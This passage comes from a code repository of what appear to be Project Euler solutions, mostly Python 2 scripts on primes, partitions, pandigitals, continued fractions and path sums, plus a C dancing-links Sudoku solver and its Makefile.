6 c = 0 for n in range(1, 1+lim): #ll = [] nsol = 0 for d in range(1, n): kp, kn = introots(1, -6*d, 5*d**2 + n) if (kp > 2*d and kdeqn(kp, d) == n): #ll.append((kp, d)) nsol += 1 if (kn != kp and kn > 2*d and kdeqn(kn, d) == n): #ll.append((kn, d)) nsol += 1 #print n, ll #if (len(ll) == 2): print n, nsol if nsol == 10: c += 1 print c ''' <file_sep>/id17/id17.py #!/usr/bin/env python import math import sys import string import re def unit_names(u): if u == 0: return 'zero' elif u == 1: return 'one' elif u == 2: return 'two' elif u == 3: return 'three' elif u == 4: return 'four' elif u == 5: return 'five' elif u == 6: return 'six' elif u == 7: return 'seven' elif u == 8: return 'eight' elif u == 9: return 'nine' else: return None def teen_names(u): if (u >= 0 and u <= 9): return unit_names(u) elif u == 10: return 'ten' elif u == 11: return 'eleven' elif u == 12: return 'twelve' elif u == 13: return 'thirteen' elif u == 14: return 'fourteen' elif u == 15: return 'fifteen' elif u == 16: return 'sixteen' elif u == 17: return 'seventeen' elif u == 18: return 'eighteen' elif u == 19: return 'nineteen' else: return None def ten_names(u): if u == 0: return 'zero' elif u == 1: return 'ten' elif u == 2: return 'twenty' elif u == 3: return 'thirty' elif u == 4: return 'forty' elif u == 5: return 'fifty' elif u == 6: return 'sixty' elif u == 7: return 'seventy' elif u == 8: return 'eighty' elif u == 9: return 'ninety' else: return None def to_english(n): # thousands part th = (n / 1000) % 10 h = (n / 100) % 10 t = (n / 10) % 10 u = n % 10 if (th != 0): th_str = unit_names(th) + ' thousand' else: th_str = '' if (h != 0): h_str = unit_names(h) + ' hundred' else: h_str = '' if (t == 0): t_str = '' elif (t == 1): t_str = teen_names(10 + u) else: t_str = ten_names(t) if (t != 1): if (u != 0): u_str = unit_names(u) else: u_str = '' else: u_str = '' tu_str = t_str + ('-' if t_str != '' and u_str != '' else '') + u_str if (t_str != '' or u_str != '') else '' return th_str + ' ' + h_str + ((' and ') if ((th_str != '' or h_str != '') and tu_str != '') else ('')) + tu_str s = 0 n = 1000 for i in xrange(1,n+1): s += len(to_english(i).replace(' ', '').replace('-','')) print s<file_sep>/id32/id32.py #!/usr/bin/env python def has_digits_in_list(a,b): s = map(str, b) s.sort() s = reduce(lambda x,y: x+y, s) i = [ch for ch in str(a)] i.sort() i = reduce(lambda x,y: x+y, i) if (s == i): return True else: return False def do_pandigital_mult(digits, ll, lr, nl, nr): if (ll > 0): for i,d in enumerate(digits): do_pandigital_mult(digits[:i] + digits[i+1:], ll-1, lr, nl*10+d, nr) elif (lr > 0): for i,d in enumerate(digits): do_pandigital_mult(digits[:i] + digits[i+1:], ll, lr-1, nl, nr*10+d) else: m = (nl * nr) print has_digits_in_list(m, digits), m, nl, nr #def do14mult(digits, l1, l4, n1, n4): # if (l1 > 0): # for i,d in enumerate(digits): # do14mult(digits[:i] + digits[i+1:], l1-1, l4, n1*10+d, n4) # elif (l4 > 0): # for i,d in enumerate(digits): # do14mult(digits[:i] + digits[i+1:], l1, l4-1, n1, n4*10+d) # else: # m = (n1 * n4) # print has_digits_in_list(m, digits), m, n1, n4 digits = [1,2,3,4,5,6,7,8,9] #print has_digits_in_list(4221, [2,1,4]) do_pandigital_mult(digits, 1, 4, 0, 0) do_pandigital_mult(digits, 2, 3, 0, 0) <file_sep>/id31/hashit.py #!/usr/bin/env python def hashit(c, v): s = ''; for i,ch in enumerate (c): s = s + str(v[i]) + ch return s with open('list.txt') as f: for line in f: print hashit() <file_sep>/id87/id87.py #!/usr/bin/env python lim = 50 * 10 ** 6 plim = 10 ** 4 def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True primes = filter(isprime, range(0, 1+plim)) psq = filter(lambda y: y <= lim, map(lambda x: x ** 2, primes)) pcu = filter(lambda y: y <= lim, map(lambda x: x ** 3, primes)) pfo = filter(lambda y: y <= lim, map(lambda x: x ** 4, primes)) s = set() for a in psq: for b in pcu: for c in pfo: if (a+b+c < lim): s.add(a+b+c) print len(s) <file_sep>/id26/id26.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) def make_cycle(p, start): seen = set([]) d = start c = 0 while d not in seen: seen.add(d) d = d * 10 % p if d == 0: c = 0 break c += 1 return c a = [aliquot(x) for x in xrange(0,1001)] print a prime = [x for x in xrange(0,len(a)) if a[x] == 1] print prime cycles = [make_cycle(p, 1) for p in prime] print cycles print max(cycles), prime[cycles.index(max(cycles))] # recip = map(lambda p: 1.0/p, prime) # print recip <file_sep>/id456/archive/id456.py #!/usr/bin/env python import itertools import os import math import bigfloat from collections import defaultdict def readverts(f): P = [] for line in f: P.append(tuple(map(int, line.split(',')))) return P def vecsub(B,A): return (B[0]-A[0], B[1]-A[1]) def vecdot(A,B): return (A[0]*B[0] + A[1]*B[1]) def origin_in_triangle(verts): # from http://www.blackpawn.com/texts/pointinpoly/ A = verts[0] B = verts[1] C = verts[2] v0 = vecsub(C,A) v1 = vecsub(B,A) v2 = vecsub((0,0),A) dot00 = vecdot(v0, v0) dot01 = vecdot(v0, v1) dot02 = vecdot(v0, v2) dot11 = vecdot(v1, v1) dot12 = vecdot(v1, v2) invDenom = 1.0 / (dot00 * dot11 - dot01 * dot01) u = (dot11 * dot02 - dot01 * dot12) * invDenom v = (dot00 * dot12 - dot01 * dot02) * invDenom return (u >= 0) and (v >= 0) and (u + v < 1) def angle_diff(a,b): diff = a - b; while (diff < 0.0): diff += 2.0 * math.pi while (diff >= 2.0 * math.pi): diff -= 2.0 * math.pi return diff def build_nyk(thetas): nt = len(thetas) nyk = [0]*nt for i,theta in enumerate(thetas): if (i > 0): nyk[i] = nyk[i-1] while (angle_diff(thetas[(i+nyk[i]) % nt], theta) <= math.pi): nyk[i] += 1 while (angle_diff(thetas[(i+nyk[i]) % nt], theta) >= math.pi): nyk[i] -= 1 j = i+1 while (thetas[j % nt] == theta): nyk[i] -= 1 j += 1 # print angle_diff(thetas[(i+nyk[i]) % nt], theta) return nyk def listdups(l): seen = set() seen_add = seen.add # adds all elements it doesn't know yet to seen and all other to seen_twice seen_twice = set( x for x in l if x in seen or seen_add(x) ) # turn the set into a list (as requested) return list( seen_twice ) x_n = lambda n: pow(1248, n, 32323) - 16161 y_n = lambda n: pow(8421, n, 30103) - 15051 pair_n = lambda n: (x_n(n), y_n(n)) #theta_n = lambda pair: (bigfloat.atan2(pair[1], pair[0], bigfloat.quadruple_precision)) theta_n = lambda pair: (math.atan2(pair[1], pair[0])) #nmax = 8 #nmax = 600 nmax = 40000 #nmax = 2000000 if not (os.path.isfile(('vertices_%d.txt' % nmax))): P = map(pair_n, range(1,nmax+1)) print 'Done generating verticies.' with open(('vertices_%d.txt' % nmax), 'w') as f: for point in P: f.write(str(point[0])+','+str(point[1])+'\n') f.close() print 'Done writing verticies to vertices_%d.txt.' % nmax else: with open(('vertices_%d.txt' % nmax), 'r') as f: P = readverts(f) f.close() print 'Done reading verticies in vertices_%d.txt.' % nmax n = nmax+1 C = (2 * n - 3) * (n - 1) * (n - 2) / 12 thetas = map(theta_n, P) thetas.sort() thetas = map(lambda x: thetas[x], range(0,len(thetas))) print 'Done mapping theta.' theta_dict = defaultdict(int) for t in thetas: theta_dict[t] += 1 dup_theta = listdups(thetas) unique_theta = list(set(thetas)) for x in dup_theta: print theta_dict[x] #n = len(unique_theta)+1 #C = (2 * n - 3) * (n - 1) * (n - 2) / 12 print 'Initial C =', C nyk = build_nyk(thetas) print 'Done building nyk.' nsq = map(lambda x: x ** 2, nyk) C = C - (sum(nsq) / 2) print 'Final C =', C <file_sep>/id78/id78.py #!/usr/bin/env python import sys def partition_function(n,known={},m=10**7): if (n == 0): known[n] = 1 return 1 if (n < 0): return 0 s = 0 for k in range(1,n+1): leftn = n - (k*(3*k-1))/2 rightn = n - (k*(3*k+1))/2 if leftn in known: left = known[leftn] else: left = partition_function(leftn, known) if rightn in known: right = known[rightn] else: right = partition_function(rightn, known) s += (((-1)**(k+1) * (left + right))) % m if n not in known: known[n] = s % m return s # dont include 'q + 0' lim = 10 ** 6 dk = {} for q in range(1, 1+lim): p = partition_function(q, dk) print q if (p % 10 ** 6 == 0): print '!', p, q break <file_sep>/id96/dlx.c #include <stdlib.h> #include <stdio.h> #include "dlx.h" const int kHeaderColumnRow = -1; void dlx_insert_rightof(struct dlx_node *to_insert, struct dlx_node *left) { if (to_insert == NULL) { return; } if (left == NULL) { return; } struct dlx_node *right = left->right; if (right == NULL) { return; } right->left = to_insert; left->right = to_insert; to_insert->left = left; to_insert->right = right; return; } void dlx_insert_upof(struct dlx_node *to_insert, struct dlx_node *down) { if (to_insert == NULL) { return; } if (down == NULL) { return; } struct dlx_node *up = down->up; if (up == NULL) { return; } up->down = to_insert; down->up = to_insert; to_insert->down = down; to_insert->up = up; return; } void dlx_cover_horizontal(struct dlx_node *node) { if (node == NULL) { return; } struct dlx_node *left = node->left; struct dlx_node *right = node->right; if (left == NULL || right == NULL) { return; } left->right = right; right->left = left; return; } void dlx_cover_vertical(struct dlx_node *node) { if (node == NULL) { return; } struct dlx_node *up = node->up; struct dlx_node *down = node->down; if (up == NULL || down == NULL) { return; } up->down = down; down->up = up; return; } void dlx_uncover_horizontal(struct dlx_node *node) { if (node == NULL) { return; } struct dlx_node *left = node->left; struct dlx_node *right = node->right; if (left == NULL || right == NULL) { return; } left->right = node; right->left = node; return; } void dlx_uncover_vertical(struct dlx_node *node) { if (node == NULL) { return; } struct dlx_node *up = node->up; struct dlx_node *down = node->down; if (up == NULL || down == NULL) { return; } up->down = node; down->up = node; return; } void dlx_cover_column(struct dlx_node *colheader) { dlx_cover_horizontal(colheader); for (struct dlx_node *colnode = colheader->up; colnode != colheader; colnode = colnode->up) { for (struct dlx_node *rownode = colnode->right; rownode != colnode; rownode = rownode->right) { dlx_cover_vertical(rownode); rownode->column_header->num_elements--; } } return; } void dlx_uncover_column(struct dlx_node *colheader) { for (struct dlx_node *colnode = colheader->down; colnode != colheader; colnode = colnode->down) { for (struct dlx_node *rownode = colnode->left; rownode != colnode; rownode = rownode->left) { dlx_uncover_vertical(rownode); rownode->column_header->num_elements++; } } dlx_uncover_horizontal(colheader); return; } struct dlx_node *dlx_insert_column(struct dlx_matrix *m, int col) { struct dlx_node *insert = NULL; for (struct dlx_node *colheader = m->head->right; colheader != m->head; colheader = colheader->right) { if (colheader->col == col) { insert = colheader; break; } } if (insert == NULL) { insert = malloc(sizeof(struct dlx_node)); insert->up = insert; insert->down = insert; insert->col = col; insert->row = kHeaderColumnRow; insert->num_elements = 0; insert->is_optional = 0; insert->column_header = NULL; dlx_insert_rightof(insert, m->head); } return insert; } void dlx_matrix_insert(struct dlx_matrix *m, int row, int col) { struct dlx_node *colheader = dlx_insert_column(m, col); for (struct dlx_node *colnode = colheader->up; colnode != colheader; colnode = colnode->up) { if (colnode->row == row) { return; } } struct dlx_node *to_insert = malloc(sizeof(struct dlx_node)); if (to_insert == NULL) { return; } to_insert->column_header = colheader; to_insert->left = to_insert; to_insert->right = to_insert; to_insert->row = row; to_insert->col = col; dlx_insert_upof(to_insert, colheader); colheader->num_elements++; for (struct dlx_node *othercolheader = m->head->right; othercolheader != m->head; othercolheader = othercolheader->right) { if (othercolheader == colheader) { continue; } for (struct dlx_node *othercolnode = othercolheader->up; othercolnode != othercolheader; othercolnode = othercolnode->up) { if (othercolnode->row == row) { dlx_insert_rightof(to_insert, othercolnode); return; } } } return; } void dlx_search(struct dlx_matrix *m, int depth, int *selected) { int num_primary_columns = 0; struct dlx_node *most_constrained_colheader = NULL; for (struct dlx_node *colheader = m->head->right; colheader != m->head; colheader = colheader->right) { if (colheader->is_optional == 1) { continue; } if (most_constrained_colheader == NULL) { most_constrained_colheader = colheader; } else if (most_constrained_colheader->num_elements > colheader->num_elements) { most_constrained_colheader = colheader; } num_primary_columns++; } // success if ((num_primary_columns == 0) || (most_constrained_colheader == NULL)) { if (depth == 81) { int g[81]; for (int k = 0; k < depth; k++) { // printf("%d ", selected[i]); int s = selected[k]; int i = (s / 81) % 9; int j = (s / 9) % 9; int n = (s % 9) + 1; g[9*i + j] = n; } for (int i = 0; i < 9; i++) { for (int j = 0; j < 9; j++) { // printf("%d ", g[i*9 + j]); } // printf("\n"); } // printf("Valid.\n"); printf("%d%d%d\n", g[0], g[1], g[2]); } /* for (int i = 0; i < depth; i++) { printf("%d ", selected[i]); } */ printf("\n"); return; } if (most_constrained_colheader->num_elements == 0) { // failure, get out; return; } dlx_cover_column(most_constrained_colheader); for (struct dlx_node *colnode = most_constrained_colheader->up; colnode != most_constrained_colheader; colnode = colnode->up) { selected[depth] = colnode->row; for (struct dlx_node *rownode = colnode->right; rownode != colnode; rownode = rownode->right) { dlx_cover_column(rownode->column_header); } dlx_search(m, depth + 1, selected); for (struct dlx_node *rownode = colnode->left; rownode != colnode; rownode = rownode->left) { dlx_uncover_column(rownode->column_header); } } dlx_uncover_column(most_constrained_colheader); return; } void dlx_set_optional(struct dlx_matrix *m, int col) { for (struct dlx_node *colheader = m->head->right; colheader != m->head; colheader = colheader->right) { if (colheader->col == col) { colheader->is_optional = 1; break; } } return; } void dlx_set_required(struct dlx_matrix *m, int col) { for (struct dlx_node *colheader = m->head->right; colheader != m->head; colheader = colheader->right) { if (colheader->col == col) { colheader->is_optional = 0; break; } } return; } struct dlx_matrix *dlx_matrix_create() { struct dlx_matrix *m = malloc(sizeof(struct dlx_matrix)); if (m != NULL) { m->head = malloc(sizeof(struct dlx_node)); if (m->head != NULL) { m->head->up = m->head; m->head->down = m->head; m->head->left = m->head; m->head->right = m->head; m->head->col = kHeaderColumnRow; m->head->row = kHeaderColumnRow; } } return m; } void dlx_matrix_delete(struct dlx_matrix *m) { if (m != NULL) { if (m->head != NULL) { for (struct dlx_node *colheader = m->head->right; colheader != m->head; ) { struct dlx_node *right = colheader->right; for (struct dlx_node *colnode = colheader->up; colnode != colheader; ) { struct dlx_node *up = colnode->up; free(colnode); colnode = up; } free(colheader); colheader = right; } free(m->head); } free(m); } return; } <file_sep>/id102/id102.py #!/usr/bin/env python import math xo = 0 yo = 0 contains_origin = 0 with open('triangles.txt') as f: pl = map(lambda x: map(float, x.split(',')), f) tris = map(lambda x: [(x[0]-xo,x[1]-yo),(x[2]-xo,x[3]-yo),(x[4]-xo,x[5]-yo)] ,pl) # print tris for points in tris: angles = sorted(map(lambda x: math.pi + math.atan2(x[1], x[0]), points)) diffs = filter(lambda y: y != 0, map(lambda x: x - angles[0], angles)) if (diffs[0] > math.pi): continue if (diffs[1] > math.pi and (diffs[1] - diffs[0]) <= math.pi): print points contains_origin += 1 print contains_origin <file_sep>/id28/id28.py #!/usr/bin/env python N = 1001 S_tr = [(2*n + 1) ** 2 for n in xrange(0, 1+(N-1)/2)] S_tl = [(2*n + 1) ** 2 - 2*n for n in xrange(1, 1+(N-1)/2)] S_bl = [(2*n + 1) ** 2 - 4*n for n in xrange(1, 1+(N-1)/2)] S_br = [(2*n + 1) ** 2 - 6*n for n in xrange(1, 1+(N-1)/2)] print S_tr print S_tl print S_bl print S_br print sum(S_tr) + sum(S_tl) + sum(S_bl) + sum(S_br) print 4 * sum(S_tr) - 1.5 * (N ** 2 - 1) - 3<file_sep>/id146/id146.py #!/usr/bin/env python import math from bisect import bisect_left, bisect_right lim = 150 * 10 ** 6 # lim = 1 * 10 ** 6 def prime_sieve(upto): sieve = [True]*(upto) sieve[0] = False sieve[1] = False for i in xrange(2, upto): if (sieve[i]): for j in xrange(i * i, upto, i): sieve[j] = False return [i for i,p in enumerate(sieve) if p] from random import randrange small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31] # etc. def probably_prime(n, k): """Return True if n passes k rounds of the Miller-Rabin primality test (and is probably prime). Return False if n is proved to be composite. """ if n < 2: return False for p in small_primes: if n < p * p: return True if n % p == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True def isprime(n): if (n == 0 or n == 1): return False if (n == 2): return True if (n == 3): return True if (n % 6 != 1 and n % 6 != 5): return False d = 2 while d*d <= n: if (n % d) == 0: return False d += 1 return True def prime_factors(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf def totient(n): pf = list(set(prime_factors(n))) num = n * reduce(lambda x, y: x*(y-1), pf, 1) den = reduce(lambda x, y: x*y, pf, 1) return (num / den) # primes = prime_sieve(lim) # sieve_size = 100000 # primes = prime_sieve(sieve_size) # print 'Done generating primes.' # x = [xx*xx for xx in x] # x = [(xx*xx + 1) for xx in x] # x = filter(lambda nn: nn % 6 == 0 or nn % 6 == 4, x) # x = [xx+1 for xx in x] # for p in primes: # x = filter(lambda nnpo: nnpo % p != 0, x) # print 'Done pre-filtering.' x = filter(lambda n: all([probably_prime(n*n + z, 10) for z in [1,3,7,9,13,27]]) , range(1, lim+1)) # x = filter(lambda n: probably_prime(n*n + 1, 10), x) # x = filter(lambda n: probably_prime(n*n + 3, 10), x) # x = filter(lambda n: probably_prime(n*n + 7, 10), x) # x = filter(lambda n: probably_prime(n*n + 9, 10), x) # x = filter(lambda n: probably_prime(n*n + 13, 10), x) # x = filter(lambda n: probably_prime(n*n + 27, 10), x) # x = filter(lambda nnpo: probably_prime(nnpo, 10), x) # x = filter(lambda n: isprime(n*n + 1), x) # x = filter(lambda n: isprime(n*n + 3), x) # x = filter(lambda n: isprime(n*n + 7), x) # x = filter(lambda n: isprime(n*n + 9), x) # x = filter(lambda n: isprime(n*n + 13), x) # x = filter(lambda n: isprime(n*n + 27), x) def verify(n): f = False t = True want = [ t, f, t, f, f, f, t, f, t, f, f, f, t, f, f, f, f, f, f, f, f, f, f, f, f, f, t] v = t for c in range(0, len(want)): v &= isprime(n*n + c + 1) == want[c] return v x = filter(verify, x) print x print sum(x) <file_sep>/id104/id104.py #!/usr/bin/env python def fib(n): a = 1 yield a b = 1 yield b for i in range(0, n-2): c = a + b yield c a = b b = c digits = map(str, range(1,10)) def firstpandsgital(sn): s = sn[:9] return sorted(s) == digits def lastpandigital(sn): s = sn[-9:] return sorted(s) == digits def bothendspandigital(sn): return lastpandigital(sn) i = 1 for x in fib(1000000): # last digits pandigital if (sorted(str(x % (10 ** 9))) == digits): if firstpandsgital(str(x)): print i break i += 1 <file_sep>/id98/id98.py #!/usr/bin/env python def mapping(n, w): sn = str(n) used = [False]*10 if len(sn) == len(w): m = {} for i,c in enumerate(w): if c in m: if (m[c] != sn[i]) or used[int(sn[i])]: return None else: if used[int(sn[i])]: return None m[c] = sn[i] used[int(sn[i])] = True return m return None def unmapping(m, w): return int("".join(map(lambda c: m[c], w))) with open('words.txt') as f: words = map(lambda row: map(lambda word: word.translate(None, '\n"'), row.split(',')), f) words = words[0] print words anagrams = {} for w in words: sw = tuple(sorted(w)) if sw in anagrams: anagrams[sw].append(w) else: anagrams[sw] = [w] anagrams = [anagrams[key] for key in anagrams if len(anagrams[key]) > 1] # print anagrams """ for key in anagrams: if (len(anagrams[key]) > 1): print anagrams[key] """ la = {} for s in anagrams: ls = len(s[0]) if ls in la: la[ls].append(s) else: la[ls] = [s] print la ma = max(la.keys()) squares = map(lambda x: x ** 2, range(1000000)) asquares = {} for s in squares: ss = tuple(sorted(str(s))) if len(ss) > ma: continue if ss in asquares: asquares[ss].append(s) else: asquares[ss] = [s] asquares = [asquares[x] for x in asquares if len(asquares[x]) > 1] # print asquares """ ls = {} for s in squares: lss = len(str(s)) if lss > ma: continue if lss in ls: ls[lss].append(s) else: ls[lss] = [s] """ # print ls for ag in anagrams: f = ag[0] g = ag[1] for l in asquares: for x in l: m = mapping(x, f) if (m != None): other = unmapping(m, g) if (other in l): print x, other, f, g <file_sep>/id29/id29.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) def prime_factors(n, plist): a = n f = [] while a not in plist: for p in plist: if a % p == 0: a = a / p f.append(p) break f.append(a) return f aq = [aliquot(x) for x in xrange(0,1001)] prime = [x for x in xrange(0,len(aq)) if aq[x] == 1] print prime_factors(2, prime) s = set([]) for a in xrange(2,101): for b in xrange(2,101): l = (b * prime_factors(a, prime)) l.sort() s.add(tuple(l)) # print l print a, '%' print len(s)<file_sep>/id191/id191.c #include <stdio.h> int count_ps(int md, int cd, int late, int numabs) { int c = 0; if (md == cd) { return 1; } if (late == 0) { c += count_ps(md, cd+1, late+1, 0); } if (numabs < 2) { c += count_ps(md, cd+1, late, numabs+1); } c += count_ps(md, cd+1, late, 0); return c; } int main(int argc, char **argv) { printf("%d\n", count_ps(30, 0, 0, 0)); return 0; } <file_sep>/id81/id81.py #!/usr/bin/env python from __future__ import print_function import csv import numpy import sys def prop_up(M, x, y): M[x,y-1] += M[x,y] def prop_left(M, x, y): M[x-1,y] += M[x,y] def clear(M, x, y): M[x,y] = 0 with open(sys.argv[1]) as f: r = csv.reader(f, delimiter=',') mat = numpy.array(map(lambda x: map(int, x), r)) print(mat) N = len(mat) l = [] for rcsum in range(0, 2*N-1): deltas = range(0, rcsum+1) first = (0, rcsum) coords = filter(lambda coords: (coords[0] >= 0 and coords[0] < N and coords[1] >= 0 and coords[1] < N), list((delta + first[0], -delta + first[1]) for delta in deltas)) l.append(coords) # map(lambda x: print(x), l) numlists = map(lambda r: map(lambda coord: mat[coord], r), l)[::-1] working = map(lambda r: map(lambda coord: numpy.inf,r), l)[::-1] # map(lambda x: print(x), numlists) # print(map(lambda x: len(x), l)) for r in xrange(0, 2*N-2): # map(lambda x: print(x), working) l = numlists[r] if (r < N-1): for j in xrange(0, len(l)): if (working[r][j] == numpy.inf): working[r][j] = l[j] s = working[r][j] if (working[r+1][j] == numpy.inf) or (s + numlists[r+1][j] < working[r+1][j]): working[r+1][j] = numlists[r+1][j] + s j = j + 1 if (j < len(working[r+1])): if (working[r+1][j] == numpy.inf) or (s + numlists[r+1][j] < working[r+1][j]): working[r+1][j] = numlists[r+1][j] + s else: for j in xrange(0, len(l)): if (working[r][j] == numpy.inf): working[r][j] = l[j] s = working[r][j] if (j >= 0 and j < len(working[r+1])): if (working[r+1][j] == numpy.inf) or (s + numlists[r+1][j] < working[r+1][j]): working[r+1][j] = numlists[r+1][j] + s j = j - 1 if (j >= 0 and j < len(working[r+1])): if (working[r+1][j] == numpy.inf) or (s + numlists[r+1][j] < working[r+1][j]): working[r+1][j] = numlists[r+1][j] + s print(working[-1][0]) <file_sep>/id59/id59.py #!/usr/bin/env python from curses.ascii import isprint def print_mode(thelist): counts = {} for item in thelist: counts [item] = counts.get (item, 0) + 1 maxcount = 0 maxitem = None for k, v in counts.items (): if v > maxcount: maxitem = k maxcount = v if maxcount == 1: print "All values only appear once" return 'o' elif counts.values().count (maxcount) > 1: print "List has multiple modes" return 'e' else: #print "Mode of list:", maxitem return maxitem lcase = range(ord('a'), ord('z')+1) print map(chr, lcase) inums = [] with open('cipher1.txt', 'r') as f: for line in f: snums = line.split(',') inums.extend(map(int, snums)) print inums for key1 in lcase: for key2 in lcase: for key3 in lcase: xorkey = [key1, key2, key3] newstring = [] for i,inum in enumerate(inums): newstring.append(chr(inum ^ xorkey[i % 3])) # mode = print_mode(newstring) # if (mode == 'e'): printable = map(lambda x: isprint(x) or (x == '\n'), newstring) if (all(printable)): mode = print_mode(newstring) if (mode == 'e' or mode == ' ' or mode == 't' or mode == 'a'): print map(chr,xorkey), ''.join(newstring) print 'Sum:', sum(map(ord, newstring)) <file_sep>/id96/Makefile # Project: dlx CC = gcc BIN = dlx CFLAGS = -O3 -Wall -std=c99 -march=native -g SRC = \ main.c \ dlx.c \ OBJ = $(patsubst %.c, %.o, $(SRC)) .PHONY: clean all: $(BIN) clean: rm $(BIN) $(OBJ) $(BIN): $(OBJ) $(CC) $(CFLAGS) -o $@ $^ %.o: %.c $(CC) $(CFLAGS) -c -o $@ $^ <file_sep>/id74/id74.py #!/usr/bin/env python import math f = map(math.factorial, range(0, 10)) def digitfacsum(n): return sum(map(lambda x: f[x], map(int, list(str(n))))) def chain_length(n): s = set([n]) x = digitfacsum(n) while (x not in s): s.add(x) x = digitfacsum(x) return len(s) lim = 10 ** 6 cl = map(chain_length, range(0, 1+lim)) print len(filter(lambda x: x == 60, cl)) ''' lim = 10 ** 6 cyclen = [0]*(1+lim) for i in range(0, 1+lim): if (cyclen[i] == 0): x = digitfacsum(i) if (x < i): cyclen[i] = 1 + cyclen[x] continue s = set([i]) while (x not in s): s.add(x) x = digitfacsum(x) cl = len(s) cyclen[i] = cl print len(filter(lambda x: x == 60, cyclen)) ''' <file_sep>/id63/id63.py #!/usr/bin/env python import math c = 0 p = 1 logs = map(math.log10, range(1,10)) while p < (1+(1/(1-logs[-1]))): c += len(filter(lambda x: int(p*x) + 1 == p, logs)) p += 1 print c <file_sep>/id35/id35.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) def rotate_string(s): s_rot = s[-1] + s[:-1] return s_rot aq = [aliquot(x) for x in xrange(0,int(1e6))] prime = [x for x in xrange(0,len(aq)) if aq[x] == 1] plist = [] for p in prime: s = str(p) w = 1 for i in xrange(0,len(s)): s = rotate_string(s) if (aq[int(s)] != 1): w = 0 if (w == 1): print p plist.append(p) print '#', len(plist) <file_sep>/id64/id64.py #!/usr/bin/env python from math import sqrt def issquare(n): a = int(sqrt(n)) return n == a * a ''' def continued_fraction_sqrt(n): s = sqrt(n) a = int(s) yield a while True: s = 1 / (s - a) a = int(s) yield a ''' def continued_fraction_sqrt(n): m = 0 d = 1 a = int(sqrt(n)) yield a while True: m = d*a - m d = (n - m*m) / d a = int((sqrt(n) + m) / d) yield a lim = 10000 c = 0 for x in range(1, 1+lim): if (issquare(x)): continue f = continued_fraction_sqrt(x) a = f.next() b = a seq = 0 while b != 2*a: b = f.next() seq += 1 print x, seq if (seq % 2 == 1): c += 1 print c <file_sep>/id75/id75.py #!/usr/bin/env python import math import numpy as np def is_square(s): if (s < 0): return False x = int(math.sqrt(s)) return (s - x * x == 0) def get_ra_triplets(l): s = [] for c in range(l/3, l/2): for a in range(1, 1+(l-c)/2): bsq1 = c * c - a * a bsq2 = (l-(c+a)) ** 2 if (bsq1 == bsq2): s.append((a,l-(c+a),c)) return s def num_ra_triplets(l): s = 0 for c in range(l/3, l/2): for a in range(1, 1+(l-c)/2): bsq1 = c * c - a * a bsq2 = (l-(c+a)) ** 2 if (bsq1 == bsq2): s += 1 return s def gen_triples(start=(3,4,5), stopfunc=None, running=[]): if (stopfunc is not None): if stopfunc(start): return None running.append(start) A = np.array([[1,-2,2],[2,-1,2],[2,-2,3]]) B = np.array([[1,2,2],[2,1,2],[2,2,3]]) C = np.array([[-1,2,2],[-2,1,2],[-2,2,3]]) children = [tuple(A.dot(start)), tuple(B.dot(start)), tuple(C.dot(start))] for x in children: gen_triples(x, stopfunc, running) return running #print get_ra_triplets(12) #print get_ra_triplets(24) #print get_ra_triplets(30) #print get_ra_triplets(36) #print get_ra_triplets(120) #m = 120 #c = 0 #for L in range(12,m+1): # s = num_ra_triplets(L) # if (s == 1): # c += 1 # print L #print '#', c m = 1500000 pt = gen_triples(stopfunc = lambda x: sum(x) >= m) #print sorted(pt) l = filter(lambda x: x <= m, map(sum, pt)) d = {} for x in l: for y in range(x, 1+m, x): if y in d: d[y] += 1 else: d[y] = 1 c = 0 for k in d: if d[k] == 1: c += 1 print c #print l #c = 0 #for L in set(l): # if l.count(L) == 1: # c += 1 #print c ''' ll = [] for a in range(1, m): # print a for b in range(a+1, 1+m-a): csq = a ** 2 + b ** 2 if (is_square(csq)): l = int(math.sqrt(csq) + (a+b)) if (l > m): break ll.append(l) s = set(ll) c = 0 for l in sorted(list(s)): if ll.count(l) == 1: c += 1 # print l print '#', c ''' <file_sep>/id38/id38.py #!/usr/bin/env python import itertools digits = range(1,10) sdigits = map(str, digits) for i in range(1,5): for p in itertools.permutations(digits, i): z = [9] z.extend(list(p)) z = int("".join(map(str, z))) # print z q = map(lambda x: x*z, range(1,5)) s = "".join(map(str, q))[0:9] if (sorted(s) == sdigits): print 'pandigital', s #else: # print s <file_sep>/id57/id57.py #!/usr/bin/env python import math def generate_numerator(n=1000): a = 3 yield a b = 7 yield b for i in range(0,n-2): c = 2 * b + a yield c a = b b = c def generate_denominator(n=1000): a = 2 yield a b = 5 yield b for i in range(0,n-2): c = 2 * b + a yield c a = b b = c def count_digits(n): c = 0 while n > 0: n /= 10 c += 1 return c n = generate_numerator(1000) d = generate_denominator(1000) cn = map(count_digits, n) cd = map(count_digits, d) print sum([1 for t in map(lambda x: x[0] > x[1], zip(cn, cd)) if t == True]) <file_sep>/id67/id67.py #!/usr/bin/env python import copy def collapse(top, bottom): ntop = copy.deepcopy(top) for i in xrange(0, len(top)): m = max(bottom[i], bottom[i+1]) ntop[i] += m return ntop with open('triangle.txt', 'r') as file: triangle = [] for line in file: triangle.append(map(int, line.split())) triangle.reverse() while len(triangle) != 1: if (len(triangle) > 1): n = collapse(triangle[1], triangle[0]) triangle.pop(0) triangle[0] = n print triangle<file_sep>/id62/id62.py #!/usr/bin/env python lim = 10 ** 4 cubes = map(lambda x: x ** 3, range(0, 1+lim)) d = dict() for c in cubes: k = tuple(sorted(list(str(c)))) if k not in d: 